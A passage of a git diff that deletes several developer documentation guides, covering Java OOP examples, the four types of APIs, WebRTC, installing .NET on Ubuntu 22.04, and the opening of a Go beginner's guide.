numberOfBooks; - - // Implement a constructor. This is used to create objects from the class, - // which you can see done in the `Main` class below. - public BookShelf(int initialNumberOfBooks) { - numberOfBooks = initialNumberOfBooks; - } - - // Provide a method to add more books to the shelf. - public void addBooks(int numberToAdd) { - numberOfBooks += numberToAdd; - } - - // Provide a method to display the count of books on the shelf. - public void showBookCount() { - System.out.println("The shelf has " + numberOfBooks + " books."); - } -} - -class Main { - public static void main(String args[]) { - // Use the `BookShelf` class's constructor to create a BookShelf object; - // it also lets us specify how many books the object starts with. - BookShelf thisBookShelf = new BookShelf(5); - thisBookShelf.addBooks(2); - thisBookShelf.showBookCount(); - } -} -{{< /file >}} - -{{< output >}} -The shelf has 7 books. -{{< /output >}} - -Now, this next example is a little more ambitious. It has three classes — again, not counting the `Main` class. The first, `GamingConsole`, acts as a `super` on which other classes can extend. That is exactly what the second class, `PlayStation`, does — extends on the `GamingConsole` class. The last class, `PlayStation4`, does the same, but with the `PlayStation` class as its direct parent. - -This chain of extensions lets the example demonstrate several of the concepts of OOP at once. Each extension shows the concept of *abstraction* in action. The `PlayStation` class is able to make use of both attributes and methods from its parent, demonstrating *inheritance*. And the `PlayStation4` class illustrates *polymorphism* through its identification with the `GamingConsole` super class during construction in the `Main` class. - -{{< file >}} -// Create a super class, from which the other classes ultimately extend. -class GamingConsole { - // Declare attributes. - public String consoleType; - public String currentGame; - - // Provide a cosntructor to set initial values. - public GamingConsole(String initialConsoleType, String initialGame) { - consoleType = initialConsoleType; - currentGame = initialGame; - } - - // Provide two methods that should be common to all gaming consoles. - public void insertGame(String gameName) { - currentGame = gameName; - } - - public void playGame() { - System.out.println("Starting up the " + consoleType + " console."); - if (currentGame == "") { - System.out.println("No game in the console."); - } else { - System.out.println("Playing " + currentGame + "."); - } - } -} - -// Create a sub class for a specific category of gaming console. -class PlayStation extends GamingConsole { - // Declare attributes. - public boolean controllerConnected; - - // Provide a constructor. - public PlayStation(String initialGame, boolean initialControllerConnected) { - super("PlayStation", initialGame); - controllerConnected = initialControllerConnected; - } - - // Provide a method unique to this category of gaming consoles. (This - // feature is not actually unique to PlayStation consoles, but just - // pretend for the purposes of illustration.) - public void connectController(boolean isControllerConnected) { - controllerConnected = isControllerConnected; - } - - // Override the default `playGame` method with a specific implementation - // for `PlayStation` objects. - public void playGame() { - if (controllerConnected == false) { - System.out.println("Connect a controller before playing."); - } else { - super.playGame(); - } - } -} - -// Create another sub class for an even more specific category, this being -// a type of PlayStation gaming console. -class PlayStation4 extends PlayStation { - // Provide a constructor. - public PlayStation4(String initialGame, boolean initialControllerConnected) { - super(initialGame, initialControllerConnected); - consoleType = "PlayStation 4"; - - initiateWelcome(); - } - - // Provide a specific method for PlayStation 4 consoles. - public void initiateWelcome() { - System.out.println("Welcome to " + consoleType + "."); - } -} - - - -class Main { - public static void main(String args[]) { - // Instantiate a `PlayStation4` object. Notice the polymorphism - // implied by the fact that we can use `GamingConsole` to identify - // the new object's type. - GamingConsole thisConsole = new PlayStation4("", true); - - // Use the two methods inherited from the `GamingConsole` super class. - thisConsole.insertGame("Minecraft"); - thisConsole.playGame(); - } -} -{{< /file >}} - -{{< output >}} -Welcome to PlayStation 4. -Starting up the PlayStation 4 console. -Playing Minecraft. -{{< /output >}} - -## Conclusion - -In this guide you learned the fundamental principles of object-oriented programming. The concepts covered were encapsulation, abstraction, inheritance, and polymorphism. Applying these concepts helps to ensure that you are making the most of what the paradigm can do. - -Throughout this tutorial, the focus has been on OOP related to Java. But keep in mind that these concepts apply anywhere that supports object-oriented programming. [JavaScript](/cloud/guides/development/javascript/), [Python](/cloud/guides/development/python/), and [Ruby](/cloud/guides/development/ror/) are popular examples. - - diff --git a/docs/guides/development/concepts/types-of-api/index.md b/docs/guides/development/concepts/types-of-api/index.md deleted file mode 100644 index 558aa6ed55b..00000000000 --- a/docs/guides/development/concepts/types-of-api/index.md +++ /dev/null @@ -1,110 +0,0 @@ ---- -slug: types-of-api -title: "What are the Four Types of API Formats?" -title_meta: "A Guide to API Formats: The Different Types of APIs" -description: "What are the different types of APIs and when should you use them? This guide discusses types of API and their different protocols." -authors: ["Nathaniel Stickman"] -contributors: ["Nathaniel Stickman"] -published: 2022-04-08 -keywords: ['types of apis','api formats','api types'] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' ---- - -APIs are what keep software connected. Whether you are looking to link your application to others or you want to have smooth communication between services, APIs help bring multiple pieces of an application together. - -Applications and services can be connected in myriad ways, depending on access limitations and communication protocols. APIs have developed several different approaches for making connections to support modern application architectures. - -In this tutorial, learn about what APIs are, the types of APIs that are available, and the various protocols they can use to communicate. - -## What is an API? - -An API — short for *Application Programming Interface* — defines a set of rules by which applications and services can interact. - -APIs are used in a wide variety of contexts. However, often, when people talk about APIs, they are talking about *web APIs*. These APIs allow for communication between applications and services using the [HTTP protocol](/cloud/guides/introducing-http-2/). - -Often, web APIs are used for web application servers and web browsers to communicate. However, you may also see web APIs used for communication between different web servers, or between applications on the same server. You may even see web APIs at work between different services acting as parts of the same application. One example of an API enabling communication between different services of the same application, is Kubernetes. The [Kubernetes API](/cloud/guides/beginners-guide-to-kubernetes-part-1-introduction/#kubernetes-api) is the linchpin to its powerful orchestration system. - -## The Four Main Types of APIs - -APIs come in four different modalities. Each of these covers a different access level or, in the case of web APIs, a different usage. - -Which one of these you use depends on your API's particular needs. The sections below provide descriptions of each kind of API and they can help you decide which is best for your use case. Each section also provides context and examples to make it easier to see how each API model can fit into different use cases. - -### Open APIs - -Open APIs, or public APIs, come with limited or no access restrictions. This essentially allows any developer to make requests to these APIs. - -These APIs may have some limits. A developer may have to register an account to receive an API key, for instance. Additionally, limits may be placed on things like the number of requests in a given time frame. - -But overall, open APIs are distinguished by being intended for widespread external use. They are meant for third-party developers to be able to access and make use of the API as they need. - -An example of open APIs are those provided by [NASA](https://api.nasa.gov/). After completing a simple registration for an API key, NASA gives you access to numerous open APIs. NASA's open APIs include everything from Earth observation images to information about the weather on Mars. - -#### When to Use an Open API? - -Make your API open when you intend it for public consumption. Open APIs are especially useful when you have information or services you want to make available to the general public. - -These APIs are often used for open source projects and for the dissemination of public knowledge, like NASA and other government agencies. - -### Partner APIs - -Partner APIs require authorization of some kind to use. They still allow external access, but are not intended for the general public to have access to. Instead, partner APIs are designed for use by pre-approved individuals, teams, or organizations. - -A partner API may allow public access through a paid subscription or it may limit access to developers with a business relationship. Typically, the developer has an API key, as with open APIs, that require registration. But with partner APIs, keys tend to be given out more sparingly and with more access restrictions. - -An example of a partner API is one that allows two companies to work together. Company A may have an application which Company B has agreed to provide services for. Developers at Company A receive API keys which they can use to access Company B's API. This allows Company A's application to make use of Company B's services while keeping access to these services limited. - -#### When to Use a Partner API? - -Make your API a partner API when it needs to be accessed externally but that access needs to be limited to authorized users. Partner APIs are ideal for business-to-business services or for subscription-based APIs. - -You are likely to see partner APIs in companies that make use of external services for parts of an application's functionality. Often, this can be a preferred solution compared to developing services in house. It allows companies to integrate features that have been developed by experts elsewhere into their applications. At the same time, it lets the external experts retain control of their services. - -### Internal APIs - -Internal APIs, also called private APIs, disallow external access. Instead, these APIs can only be accessed by developers within a company or even within the particular application to which the API belongs. - -These APIs are the most limited. APIs are incredibly useful in defining communication between applications and services, and this even applies when communication is within a single organization. - -A simple example of an internal API use case is a company that has two applications for selling items. One application allows customers to purchase items directly; the other allows sales personnel to process sales. Both applications need access to the inventory. The company could have both applications independently access the inventory database. However, doing so would likely lead to more difficult and inconsistent maintenance. - -So, instead, the company has an internal API for managing inventory. Both the customer-facing and sales-personnel applications can access this API to view and update inventory. Updates to each application can be made independently, as long as each adheres to the rules of the API. - -#### When to Use an Internal API? - -Make your API internal when you want to restrict access as much as possible. Internal APIs are designed to be private, with only applications and services within your organization having access. An internal API can even be used when different parts of an application need to communicate. - -These APIs are common within enterprise organizations. When applications scale, it helps to define APIs for managing underlying logic. Take the example above, where business logic can be developed and maintained in the customer-facing and sales-personnel applications. This can be done without concern for the impact to the underlying data storage and retrieval tasks, since those are housed in the internal API. - -### Composite APIs - -Composite APIs allow for requests to be bundled or chained together, which, in turn, allows developers to receive single responses for request collections. - -These APIs are useful for reducing server load and network traffic when you expect frequent requests to multiple API endpoints. Calls get made less frequently, resulting in reductions to server processing time and the number of requests across the network. - -This makes composite APIs exceptionally effective for microservices. Often, applications built on microservices have to compile information from multiple sources. Having composite APIs that do this makes for more efficient applications. - -To give an example of a composite API in action, think of an online ordering form. When the user completes and submits the form, the application often has to register the user, check and update inventory, and send a confirmation notification. A composite API allows all of these tasks to be handled simultaneously, in a single call. - -#### When to Use a Composite API? - -Make use of a composite API when your application exposes endpoints that are likely to be called in groups or in quick succession. This is often the case with microservices, where requests and responses frequently need to be combined. - -This type of API can be especially useful when your [microservice application](/cloud/guides/deploying-microservices-with-docker/#what-is-a-microservice) needs to communicate with users' web browsers. Here, you want to optimize network traffic to reduce load times and improve user experience. You also want to reduce your server load to make your application scalable for a larger number of users. - -## What are the Different API Protocol Types? - -Every API uses a particular protocol. An API's protocol defines the rules for how it can communicate. These rules make explicit the kinds of requests that can be made, what the API's responses look like, and what kinds of data the API can send and receive. - -There are three main protocols used by web APIs. - -- **REST**. Short for Representational State Transfer, REST implements stateless APIs with uniform interfaces using HTTP. REST is actually more of a set of architectural principles for APIs than a protocol proper. You can use the [Flask Python framework](/cloud/guides/create-restful-api-using-python-and-flask/) to build your own REST API. - -- **SOAP**. The Simple Object Access Protocol uses XML for requests and responses and maintains strict definitions for messages. SOAP is highly adaptable, designed to be neutral, and applicable in many contexts, not just for web APIs. It can even be used in conjunction with REST principles. - -- **RPC**. Simpler than both REST and SOAP, the Remote Procedural Call protocol focuses on actions taken on a server. This is in contrast to both REST and SOAP, which tend to focus on server resources. RPC works primarily on running processes. Often, RPC APIs execute scripts on the server. - -## Conclusion - -This guide has walked you through the basics of APIs, explaining the different categories they fit into and the contexts they are used in. The four main types of APIs are open, partner, internal, and composite. The guide also covered the protocols web APIs use to send and receive messages. These API protocols are REST, SOAP, and RPC. You now have a strong foundation for entering into the world of web APIs. It is a wide and fast-moving world. - diff --git a/docs/guides/development/concepts/what-is-webrtc/index.md b/docs/guides/development/concepts/what-is-webrtc/index.md deleted file mode 100644 index 710972bf273..00000000000 --- a/docs/guides/development/concepts/what-is-webrtc/index.md +++ /dev/null @@ -1,116 +0,0 @@ ---- -slug: what-is-webrtc -title: "What Is WebRTC?" -description: 'This guide provides an introduction to the WebRTC API, which enables audio and video capabilities for web applications.' -og_description: 'This guide provides an introduction to the WebRTC API, which enables audio and video capabilities for web applications.' -keywords: ['what is WebRTC', 'WebRTC API', 'WebRTC audio-visual', 'WebRTC browser'] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -authors: ["Jeff Novotny"] -contributors: ["Jeff Novotny"] -published: 2023-04-20 -external_resources: -- '[WebRTC Organization](https://webrtc.org/)' -- '[Real-Time Protocols for Browser-Based Applications Protocol RFC 8825](https://datatracker.ietf.org/doc/html/rfc8825)' -- '[WebRTC Code Samples](https://webrtc.github.io/samples/)' -- '[Getting Started with WebRTC](https://webrtc.org/getting-started/overview)' -- '[Mozilla WebRTC documentation](https://developer.mozilla.org/en-US/docs/Glossary/WebRTC)' -- '[Mozilla WebRTC API documentation](https://developer.mozilla.org/en-US/docs/Web/API/WebRTC_API)' -- '[Media Capture and Streams API](https://developer.mozilla.org/en-US/docs/Web/API/Media_Capture_and_Streams_API)' -- '[Media Devices API](https://developer.mozilla.org/en-US/docs/Web/API/MediaDevices)' -- '[WebRTC GitHub repository](https://github.com/webrtc)' ---- - -The [WebRTC](https://webrtc.org/) specification enables web applications to transmit high-quality audio and video content directly between users. WebRTC supplies a JavaScript API for direct integration into web page code. This guide introduces WebRTC, discusses its advantages, and explains how it is used. - -## What is WebRTC? - -WebRTC is a free, open-source specification originally developed by Global IP Solutions consisting of several interrelated APIs and protocols that work together. Google purchased WebRTC and subsequently licensed it as an open-source framework. It has since been standardized by the *World Wide Web Consortium* (W3C) and the IETF to allow greater interoperability and a wider reach. Most major vendors support WebRTC, including Google, Apple, Microsoft, and Mozilla. - -The WebRTC API allows both browser and mobile-based web applications to integrate *real-time communication* (RTC) capabilities. Using WebRTC, high-quality peer-to-peer audio and video channels can be embedded inside a web page. After a connection is established, browsers can exchange streams or data without going through a central server. - -WebRTC maintains two communication channels. The media communication channel streams real-time media or textual information between peers without any additional plug-ins, server-side file hosting, or helper applications. The WebRTC standard also specifies a separate data channel for sending text or binary data. In addition to browsers, WebRTC is also used in mobile and *Internet of Things* (IoT) devices. - -Developers can integrate WebRTC capabilities into their applications using the JavaScript API. Like other JavaScript functions, the WebRTC code can be embedded inside HTTP markup. The WebRTC API is typically used together with the closely-related [Media Capture and Streams API](https://developer.mozilla.org/en-US/docs/Web/API/Media_Capture_and_Streams_API). - -### How Does WebRTC Work? - -Each media stream contains one or more *tracks*, and the majority of WebRTC streams consist of at least two tracks. A track can transmit both live and stored media, and corresponds to a media channel such as an audio or video stream. Text or binary files can also function as tracks. - -WebRTC is designed for very low latency. Real-time video is delivered using a more secure variant of the *Real-time Transport Protocol* (RTP) known as *Secure RTP* (SRTP). SRTP sends packets using the *User Datagram Protocol* (UDP), can tolerate some measure of data loss, and does not retransmit packets. To compensate and assist with packet reordering, SRTP packets include a timestamp and sequence number. - -The data channel uses the *Stream Control Transmission Protocol* (SCTP). SCTP combines some of the advantages of both UDP and the *Transmission Control Protocol* (TCP). SCTP is a message-oriented protocol like UDP, but it ensures reliable delivery and sends packets in order the same way TCP does. To enhance security, SCTP makes use of the *Datagram Transport Layer Security* (DTLS) service. - -Before exchanging any information, peers must exchange connection parameters and negotiate a connection. Connection information is shared using the *Session Description Protocol* (SDP). An SDP message summarizes the available media channels and describes and stores formatting details for the WebRTC stream, including encryption, resolution, and codec information. WebRTC uses a codec to compress, decompress, and replay the track information. - -WebRTC requires an intermediate server to create and establish the actual connection. *Interactive Connectivity Establishment* (ICE) provides a framework for resolving peer IP addresses. WebRTC does not handle the signaling itself, but it inter-operates with a wide variety of signaling solutions. - -ICE typically employs an intermediary such as a *Session Traversal Utilities for NAT* (STUN) or *Traversal Using Relays around NAT* (TURN) service. STUN and TURN protocols are often both available on the same server, implement peer discovery, and set up the *signal channel*. The intermediate server returns a list of one or more *ICE candidates*. Each ICE candidate contains an IP address and port the client can potentially use to communicate with the peer. In most cases, the client receives a list of candidates and can choose the one it prefers. STUN is the more lightweight of the two options and is typically the default. TURN can more easily work around restrictions and must be used if STUN cannot create a connection without assistance. WebRTC can also set up signaling using WebSockets. - -### Browser Support and Common Use Cases - -All modern browsers and operating systems support WebRTC, including Microsoft Edge, Google Chrome, Firefox, Safari, and Opera, as well as Android, iOS, and ChromeOS platforms. - -Some of the most common applications for WebRTC include the following: - -- Teleconferencing -- Online education -- Telehealth -- Torrent services -- VoIP telephony over a browser -- Webcams -- Home security -- Screen sharing -- Identity management -- Collaborative art and illustration - -### Advantages and Considerations - -#### Advantages - -- It is a free, widely used and supported open-source standard. WebRTC is economical to use and highly interoperable. -- It features cross-platform browser support. -- It is considered easy to use and can reduce application complexity. -- It supports high-quality audio and video, with built-in support for noise reduction and echo cancellation. -- It does not require additional plug-ins or other software. -- It has low latency and can keep up with real-time applications. -- It supports bandwidth management and adjusts transmission parameters based on the quality of the connection. -- It requires HTTPS and supports other security measures and encryption. - -#### Considerations - -- Not all browsers may follow standard implementation. -- The concepts underlying WebRTC can be somewhat complex. -- WebRTC may not be able to achieve real-time transmission with a very high resolution or frame rate. Some browser implementations set maximum values for these attributes, and there is no guarantee for quality of service. -- Some browsers can only support a single incoming WebRTC stream. This means many-to-many applications (i.e. conferencing) may not be supported. Most multi-user scenarios require the use of a multimedia server. - -## WebRTC Design Details - -### The WebRTC API - -To implement the WebRTC framework, the standard includes a collection of JavaScript APIs. These APIs consist of a number of functions along with several predefined events. More information about the API and the events can be found in the [Mozilla WebRTC API documentation](https://developer.mozilla.org/en-US/docs/Web/API/WebRTC_API). Some frequently used API components include: - -- **getUserMedia**: Provides access to the system's audio and video devices and other peripherals. For example, this interface is used to access a system's camera or microphone. -- **RTCPeerConnection**: This section of the API handles the technical details for peer-to-peer connectivity for video or audio communication. It manages bandwidth allocation, signal processing, security, and codec handling. -- **RTCDataChannel**: Sends and manages bidirectional data between the peers using SCTP. -- **RTCSessionDescription**: Stores the session parameters, including the SDP descriptor. -- **getStats**: Retrieves WebRTC session statistics. -- **RTCRtpSReceiver**: Manages the decoding and reception of data from a peer-to-peer connection. -- **RTCRtpSender**: Handles the encoding and transmission of data for a peer-to-peer connection. - -WebRTC also tracks a number of events, including `open`, `close`, and `connectionstatechange`. Upon request, it monitors changes to the signaling state, ICE connection, data channel, and tracks. Security features are handled by a related API for identity and security. - -### The WebRTC Workflow - -1. In a typical WebRTC workflow, the application first accesses and registers the appropriate local media devices. These devices might include a camera, microphone, tablet, or monitor display. In some cases, the program can search for a specific device, but it can also register a generic audio device. Each active device is assigned to a `mediaDevices` object using the `getUserMedia` API. The API allows the program to open the device, listen for state changes, and adjust track parameters like height, width, volume, and resolution. It also allows a program to set minimum and maximum values for all device attributes. - -1. After the local devices are acquired, WebRTC can open a connection with the peer device. Connections are managed using the `RTCPeerConnection` API. As part of the signaling procedure, client information is first transferred to the peer using the *Session Description Protocol* (SDP). After peers agree to the parameters, the peers are officially connected. - -1. The signaling channel must be established before any information can be transmitted across the new connection. Signaling is outside the scope of the WebRTC specification, which can inter-operate with a variety of solutions. However, clients for both peers must provide an ICE server configuration. An ICE candidate contains information about the underlying communication protocol, IP address, port number, and connection type. If the peers are on different networks, the connection must be established using a STUN or TURN server intermediary. STUN and TURN servers are available through the cloud and as self-hosted applications. In practice, each participant sends a list of potential ICE candidates to the peer, allowing for the best route to be selected. - -1. After the connection is established, data can be directly transmitted between the browsers, and the peer-to-peer video or audio streaming session can begin. A stream is associated with an `RTCPeerConnection` attribute. This object manages the transmission of the stream to the peer. Multiple media *tracks* can be attached to the same stream. For greater efficiency, the `RTCPeerConnection` can be assembled even before the peer connection is established. The client also uses `RTCPeerConnection` to listen for incoming tracks and receive the stream. Binary data and back channel information, such as metadata and status updates, are sent using the `RTCDataChannel` interface. - -## Technical Resources - -- **WebRTC Samples:** The official WebRTC site includes a number of [WebRTC API samples](https://webrtc.github.io/samples/). These samples demonstrate the potential capabilities of WebRTC applications. Examples include how to stream a video element to a peer, record a stream, and instantiate messaging. Each case includes a link to the source code in the [WebRTC GitHub repository](https://github.com/webrtc). The site also includes a [Getting Started with WebRTC](https://webrtc.org/getting-started/overview) component, providing an overview of the APIs and the different steps of the streaming process. - -- **API Documentation:** [Mozilla's WebRTC API documentation](https://developer.mozilla.org/en-US/docs/Web/API/WebRTC_API) provides low-level technical details about the specification. Developers can review implementation details for the major WebRTC APIs. Developers are likely to find the [Media Capture and Streams API](https://developer.mozilla.org/en-US/docs/Web/API/Media_Capture_and_Streams_API) and the related [Media Devices API](https://developer.mozilla.org/en-US/docs/Web/API/MediaDevices) highly useful. Mozilla also publishes tutorials, such as [How to Build an Internet-connected Phone](https://developer.mozilla.org/en-US/docs/Web/API/WebRTC_API/Build_a_phone_with_peerjs), which can serve as a template for other WebRTC projects. diff --git a/docs/guides/development/frameworks/dotnet/install-dotnet-on-ubuntu/index.md b/docs/guides/development/frameworks/dotnet/install-dotnet-on-ubuntu/index.md deleted file mode 100644 index f835cf67bfc..00000000000 --- a/docs/guides/development/frameworks/dotnet/install-dotnet-on-ubuntu/index.md +++ /dev/null @@ -1,154 +0,0 @@ ---- -slug: install-dotnet-on-ubuntu -title: "Install the .NET Runtime (or SDK) on Ubuntu 22.04" -title_meta: "How to Install the .NET Runtime (or SDK) on Ubuntu 22.04" -description: 'Learn how to install the .NET 6 SDK or runtime on Ubuntu and understand its limitations, requirements, and security implications.' -authors: ["Linode"] -contributors: ["Linode"] -published: 2023-06-13 -keywords: ['dotnet on Ubuntu 22.04', 'dotnet runtime', 'install dotnet', 'enable dotnet ubuntu 22.04', 'install dotnet server ubuntu'] -tags: ['ubuntu'] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' ---- - -Microsoft [.NET](https://dotnet.microsoft.com/en-us/) (pronounced *dot net* and sometimes written as *dotnet*) is a free and open-source platform for building, distributing, and running software applications. Developers can write code for their applications in multiple languages (including C# and Visual Basic) and target any operating system that supports .NET (including Windows, Linux, and macOS). Using the .NET platform (and it's many available libraries and app models), developers can create command-line apps, web applications (with [ASP.NET](https://dotnet.microsoft.com/en-us/apps/aspnet)), cross-platform mobile and desktop applications (with [.NET MAUI](https://dotnet.microsoft.com/en-us/apps/maui)), and much more. - -.NET applications can be distributed as either *self-contained* or *framework-dependent* executables. Self-contained applications already include the necessary .NET runtime files and libraries needed to run the application. When running a *framework-dependent* application, you first need to install the .NET runtime and any required .NET libraries as these are not included. This guide covers how to install the .NET runtime (or SDK) so that you can run framework-dependent .NET applications on Ubuntu 22.04, provided these apps target the Linux operating system. - -## Platform Compatibility - -Applications built using .NET can support a wide range of both desktop and mobile operating systems, including Windows, Linux, macOS, iOS, and Android. This wasn't always the case, which is why some resources online might describe .NET as Windows-only. Originally, .NET existed as the .NET Framework. This was a proprietary software development platform built by Microsoft to support the development of Windows applications. The last version of the .NET Framework (version 4.8) was released in 2019. - -In 2016, Microsoft released .NET Core (what is now simply called .NET) as a completely new implementation of the platform. It was developed specifically for cross-platform support and was released as a free and open-source software development platform. It has now replaced the .NET Framework and, starting with the release of .NET "Core" version 5, the word "core" was dropped from the name. - -## The .NET SDK vs the .NET runtime - -When running a framework-dependent .NET application on Linux, you need to first install .NET. On most distributions, there are typically several packages available, including those for the .NET SDK and the .NET runtime. The SDK (short for software development kit) contains tools needed to develop *and* run applications. The runtime just contains the files needed to run .NET applications. If you do not intend to develop .NET applications on your system, you can save space by installing the runtime instead of the SDK. - -## Installation - -Microsoft's .NET runtime does not come pre-installed on most Linux distributions, including Ubuntu 22.04 LTS. Unless you have already installed Visual Studio or another application that's dependent on the same .NET runtime version, you'll need to install the runtime before using your .NET app. - -The .NET runtime can be installed directly from Ubuntu's package repositories (starting with Ubuntu 22.04), from Microsoft's own repository, or by using the Snap package manager. - -### Determine if .NET is Already Installed - -To avoid conflicting or duplicate .NET installations, you should check if any .NET runtimes are already installed on your system. To do this, run the command below: - -```command -dotnet --list-runtimes -``` - -If .NET is not installed, you will likely receive a command not found message. If .NET is installed, your output should list each runtime that is installed. - -```output -Microsoft.AspNetCore.App 7.0.5 [/usr/lib/dotnet/shared/Microsoft.AspNetCore.App] -Microsoft.NETCore.App 7.0.5 [/usr/lib/dotnet/shared/Microsoft.NETCore.App] -``` - -For a more comprehensive view of .NET on your system, use the `dotnet --info` command. - -### Install .NET Using APT - -Starting with Ubuntu 22.04 LTS, .NET is available from Ubuntu's own package repositories and can quickly be installed using the APT package manager. For more details on this installation procedure, review Microsoft's [Install .NET SDK or .NET Runtime on Ubuntu 22.04](https://learn.microsoft.com/en-us/dotnet/core/install/linux-ubuntu-2204) guide. - -{{< note >}} -Not all .NET versions are included in Ubuntu's repository. If your application requires a specific .NET version (including nightly versions), you should use Microsoft's own repository instead. For instructions on doing this, review the official [Register the Microsoft package repository](https://learn.microsoft.com/en-us/dotnet/core/install/linux-ubuntu#register-the-microsoft-package-repository) guide. Using mixed repositories can potentially lead to conflicts, update issues, and asset version conflicts between the repositories. Microsoft provides [detailed information on the current ramifications](https://github.com/dotnet/core/issues/7699) and suggests solutions on resolving repository problems. - -{{< /note >}} - -The following .NET packages are available when using the default package repositories on Ubuntu 22.04: - -- [dotnet7](https://packages.ubuntu.com/jammy-updates/dotnet7): The main .NET 7.0 package, which includes CLI tools, the SDK, and the runtime. -- [dotnet6](https://packages.ubuntu.com/jammy-updates/dotnet6): The main .NET 6.0 package, which includes CLI tools, the SDK, and the runtime. - -You can also install specific components of either version using the packages below: - -- [dotnet-sdk-7.0](https://packages.ubuntu.com/jammy-updates/dotnet-sdk-6.0): The .NET 7.0 SDK. This includes both the .NET runtime and ASP.NET runtime, among other tools and packages. -- [dotnet-runtime-7.0](https://packages.ubuntu.com/jammy-updates/dotnet-runtime-6.0): The .NET 7.0 runtime. -- [aspnetcore-runtime-7.0](https://packages.ubuntu.com/jammy-updates/aspnetcore-runtime-6.0): The ASP.NET 7.0 runtime, which also installs the .NET 7.0 runtime. -- [dotnet-sdk-6.0](https://packages.ubuntu.com/jammy-updates/dotnet-sdk-6.0): The .NET 6.0 SDK. This includes both the .NET runtime and ASP.NET runtime, among other tools and packages. -- [dotnet-runtime-6.0](https://packages.ubuntu.com/jammy-updates/dotnet-runtime-6.0): The .NET 6.0 runtime. -- [aspnet-runtime-6.0](https://packages.ubuntu.com/jammy-updates/aspnetcore-runtime-6.0): The ASP.NET 6.0 runtime, which also installs the .NET 6.0 runtime. - -You can choose to install either the main package, the SDK, the .NET runtime, or the ASP.NET runtime (for ASP.NET web applications). If you only intend to run an existing .NET application and wish to conserve disk space (or avoid installing unnecessary software), we recommend just installing the runtime package corresponding with whichever .NET version you want to use. - -To install .NET using APT, open a terminal and run the following command to update local sources and install the desired package: - -```command -sudo apt update && sudo apt install [package] -``` - -Replace *[package]* with the name of the .NET package you want to install (such as `dotnet7` or `dotnet6`). - -### Install .NET Using Snap - -*Snap* is a package manager that is pre-installed all newer Ubuntu systems, including Ubuntu 22.04 LTS. Snap packages are installed as an instance for the user invoking snap and these instances are not shared with other users by default. Ubuntu’s snap packages use the `squashfs` file system, which enables the package contents to be placed into the current user's directory. The snap package installation process is automatic, and updates are handled seamlessly. - -It's worth noting that while snap is the default packaging method for Ubuntu, Microsoft's Visual Studio IDE for Linux does not currently have a snap package available. Therefore, if you are using Microsoft's Visual Studio, you need to install the .NET SDK separately. - -{{< note title="Check for incorrectly installed or shared snap packages." isCollapsible=true type="secondary" >}} -To check for the presence of a shared instance of .NET (SDK or runtime) that is incorrectly installed for sharing, you can follow these steps: - -1. Execute the following command to test for the shared instance: - - ```command - sudo ls /home/user/share/dotnet - ``` - - This command checks if the directory where .NET shared code is typically stored exists. The `/home/user/share/dotnet` directory is commonly used for storing the shared code. Replace `user` with the actual username of the user account you are using. - -1. If the shared instance is found, it needs to be removed or isolated from the desired user. This can be achieved by either: - - - Removing the shared instance by identifying the directories or files associated with the shared .NET code. This could include the `/home/user/share/dotnet` directory mentioned earlier, as well as any other directories or files related to the shared instance. Use appropriate commands such as `rm` (remove) or `sudo rm` (remove with root privileges) to delete the identified directories or files. - - - Installing a snap-only instance to separate it from the desired user. The specific command may vary depending on the name of the dotnet snap package. For example, if the package is named `dotnet-sdk`, you can use the following command: - - ```command - sudo snap install dotnet-sdk - ``` -{{< /note >}} - -To install .NET using Snap, follow the steps below: - -- **.NET SDK:** Install the full .NET SDK package by running the following command: - - ```command - sudo snap install dotnet-sdk --classic --channel=6.0 - ``` - - This command installs the .NET 6.0 SDK. If you wish to install .NET 7.0 SDK, use `--channel=7.0`. - -- **.NET runtime:** To install the .NET runtime, run the following command: - - ```command - sudo snap install dotnet-runtime-60 - ``` - - This installs the .NET 6.0 runtime. Other versions are also available, such as for .NET 7.0 (`dotnet-runtime-70`) and 3.1 (`dotnet-runtime-31`). - -For a full list of the available snap packages, run the command below: - -```command -snap find dotnet -``` - -This queries the snap repository and displays a list of available .NET SDK and runtime versions. Note that versions marked as "preview" or "RC" (release candidate) are not considered stable. - -## Server Applications - -While many .NET applications are standalone, others connect directly to external systems. If your application connects to other services, you may need to adjust your firewall settings so these connections are not blocked. For instructions on using UFW (the default firewall front-end interface for Ubuntu 22.04), see the guide [How to Configure a Firewall with UFW](/cloud/guides/configure-firewall-with-ufw/). Web services typically use ports `443`, `80`, and `8080`, though ports are application-specific. If these ports are blocked, you can adjust the firewall to allow access. - -Scripts installing .NET applications may require sudo rights to effectively change the firewall, files, or environmental settings for the user(s) of the runtime application. In addition, you may need to modify user rights and file accessibility so that your .NET-based application can properly run. - -## Limitations of .NET in Ubuntu 22.04 - -The .NET components in the Ubuntu Repositories (apt and snap) support certain versions of .NET, but not all versions. If an application relies on a specific version that is not available, you may need to perform an alternative installation method. Consult the application's documentation (or contact its developer) to learn what operating systems are supported and what specific version dependencies are needed to run the application. - -## Security Implications - -Since Ubuntu 22.04 includes support for .NET 6.0 and .NET 7.0, many security risks present in older versions of .NET do not apply. However, older versions of .NET (like version 3.1 and 5.0) can be installed using Snap or other methods. When older versions of .NET are used, consider any security implications before running the software. While stand-alone code that does not access data from external sources is unlikely to present a security risk, applications that do connect to external services should be scrutinized. Starting with .NET version 6.0, applications benefit from the enhanced security provided by OpenSSL version 3. Previous versions rely on the now-deprecated encryption methods of OpenSSL version 1, which are known to have security vulnerabilities. - -## Conclusion - -Now that Ubuntu (Canonical) and Microsoft offer .NET packages through Ubuntu's default repositories, installing .NET runtimes (or SDKs) is much easier on Ubuntu 22.04 (and later versions). Whether you're installing .NET from APT, Snap, or another method, you can now install and run .NET applications quickly, and cleanly, and with the security that comes with consistent package updates. While many older versions of the .NET runtime versions are not supported through APT, the more secure .NET 6.0 and 7.0 versions can be installed on any Ubuntu system. \ No newline at end of file diff --git a/docs/guides/development/go/beginners-guide-to-go/index.md b/docs/guides/development/go/beginners-guide-to-go/index.md deleted file mode 100644 index 0226a236da1..00000000000 --- a/docs/guides/development/go/beginners-guide-to-go/index.md +++ /dev/null @@ -1,351 +0,0 @@ ---- -slug: beginners-guide-to-go -title: "Getting Started with Go" -title_meta: "A Beginner's Guide to Go" -description: 'This guide will introduce you to the Go programming language and will also instruct you on how you can create and run your first program and more.' -authors: ["Mihalis Tsoukalos"] -contributors: ["Mihalis Tsoukalos"] -published: 2020-02-11 -keywords: 